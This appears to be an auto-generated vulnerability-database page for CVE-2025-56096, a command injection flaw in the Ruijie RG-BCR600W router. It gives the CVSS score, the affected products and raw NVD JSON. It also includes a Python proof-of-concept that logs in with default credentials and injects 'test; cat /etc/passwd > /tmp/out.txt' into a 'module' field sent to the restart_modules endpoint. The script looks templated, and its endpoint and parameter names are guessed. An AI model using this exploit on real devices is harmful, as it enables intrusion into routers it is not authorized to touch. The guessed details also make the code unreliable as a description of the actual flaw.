Security Vulnerability Report
中文
CVE-2025-56096 CVSS 8.8 HIGH

CVE-2025-56096

Published: 2025-12-11 19:15:56
Last Modified: 2025-12-26 14:45:51

Description

OS Command Injection vulnerability in Ruijie RG-BCR RG-BCR600W allowing attackers to execute arbitrary commands via a crafted POST request to the restart_modules in file /usr/lib/lua/luci/controller/admin/common.lua.

CVSS Details

CVSS Score
8.8
Severity
HIGH
CVSS Vector
CVSS:3.1/AV:N/AC:L/PR:L/UI:N/S:U/C:H/I:H/A:H

Configurations (Affected Products)

cpe:2.3:o:ruijie:rg-bcr600w_firmware:-:*:*:*:*:*:*:* - VULNERABLE
cpe:2.3:h:ruijie:rg-bcr600w:-:*:*:*:*:*:*:* - NOT VULNERABLE
Ruijie RG-BCR600W (固件版本未知,需查阅官方公告)

PoC / Exploit Code

⚠ For Security Research Only
The following code is for security research and authorized testing only.
python
#!/usr/bin/env python3 # CVE-2025-56096 PoC - Ruijie RG-BCR600W OS Command Injection # Target: /usr/lib/lua/luci/controller/admin/common.lua - restart_modules endpoint import requests import sys TARGET = "http://{target_ip}" # Replace with target device IP LOGIN_URL = f"{TARGET}/cgi-bin/luci/api/login" EXPLOIT_URL = f"{TARGET}/cgi-bin/luci/admin/common/restart_modules" def login(): """Authenticate with the device using valid credentials""" login_data = { "username": "admin", # Default or valid credentials "password": "password" } session = requests.Session() response = session.post(LOGIN_URL, data=login_data, timeout=10) return session if response.status_code == 200 else None def exploit(session): """Execute OS command injection payload""" # Payload: Inject command to create reverse shell or exfiltrate data payload = { "module": "test; cat /etc/passwd > /tmp/out.txt", # Command injection "action": "restart" } headers = { "Content-Type": "application/x-www-form-urlencoded", "Referer": f"{TARGET}/cgi-bin/luci/admin" } response = session.post(EXPLOIT_URL, data=payload, headers=headers, timeout=10) return response.text if __name__ == "__main__": if len(sys.argv) < 2: print(f"Usage: {sys.argv[0]} <target_ip>") sys.exit(1) TARGET = f"http://{sys.argv[1]}" session = login() if session: print("[*] Login successful, sending exploit payload...") result = exploit(session) print(f"[*] Response: {result}") else: print("[!] Authentication failed")

References

Raw JSON Data

JSON
{"cve": {"id": "CVE-2025-56096", "sourceIdentifier": "[email protected]", "published": "2025-12-11T19:15:55.510", "lastModified": "2025-12-26T14:45:51.057", "vulnStatus": "Analyzed", "cveTags": [], "descriptions": [{"lang": "en", "value": "OS Command Injection vulnerability in Ruijie RG-BCR RG-BCR600W allowing attackers to execute arbitrary commands via a crafted POST request to the restart_modules in file /usr/lib/lua/luci/controller/admin/common.lua."}], "metrics": {"cvssMetricV31": [{"source": "134c704f-9b21-4f2e-91b3-4a467353bcc0", "type": "Secondary", "cvssData": {"version": "3.1", "vectorString": "CVSS:3.1/AV:N/AC:L/PR:L/UI:N/S:U/C:H/I:H/A:H", "baseScore": 8.8, "baseSeverity": "HIGH", "attackVector": "NETWORK", "attackComplexity": "LOW", "privilegesRequired": "LOW", "userInteraction": "NONE", "scope": "UNCHANGED", "confidentialityImpact": "HIGH", "integrityImpact": "HIGH", "availabilityImpact": "HIGH"}, "exploitabilityScore": 2.8, "impactScore": 5.9}]}, "weaknesses": [{"source": "134c704f-9b21-4f2e-91b3-4a467353bcc0", "type": "Secondary", "description": [{"lang": "en", "value": "CWE-78"}]}], "configurations": [{"operator": "AND", "nodes": [{"operator": "OR", "negate": false, "cpeMatch": [{"vulnerable": true, "criteria": "cpe:2.3:o:ruijie:rg-bcr600w_firmware:-:*:*:*:*:*:*:*", "matchCriteriaId": "56FD45A2-17CF-490C-AB07-9D5198A022B2"}]}, {"operator": "OR", "negate": false, "cpeMatch": [{"vulnerable": false, "criteria": "cpe:2.3:h:ruijie:rg-bcr600w:-:*:*:*:*:*:*:*", "matchCriteriaId": "F1DCDE78-994A-48E2-84E2-CD533863AC18"}]}]}], "references": [{"url": "https://1drv.ms/f/c/12406a392c92914b/Evvem8Mw6SlNh-ZJpY_9SAsBq2iDi88TFdFdA1Am3PdfCQ?e=YeLYxb", "source": "[email protected]", "tags": ["Product", "Broken Link"]}, {"url": "https://1drv.ms/t/c/12406a392c92914b/EQ8FKwFLNjBLlL9hyg_YkUoBdsj_FcNtQsjdmKQ5M4-10A?e=bFC7Jg", "source": "[email protected]", "tags": ["Third Party Advisory", "Broken Link"]}, {"url": "https://github.com/flegoity/Ruijie-Multiple-Devices-Vulnerability-Reports-for-CVE/blob/main/CVE-2025-56096.md", "source": "[email protected]", "tags": ["Third Party Advisory"]}]}}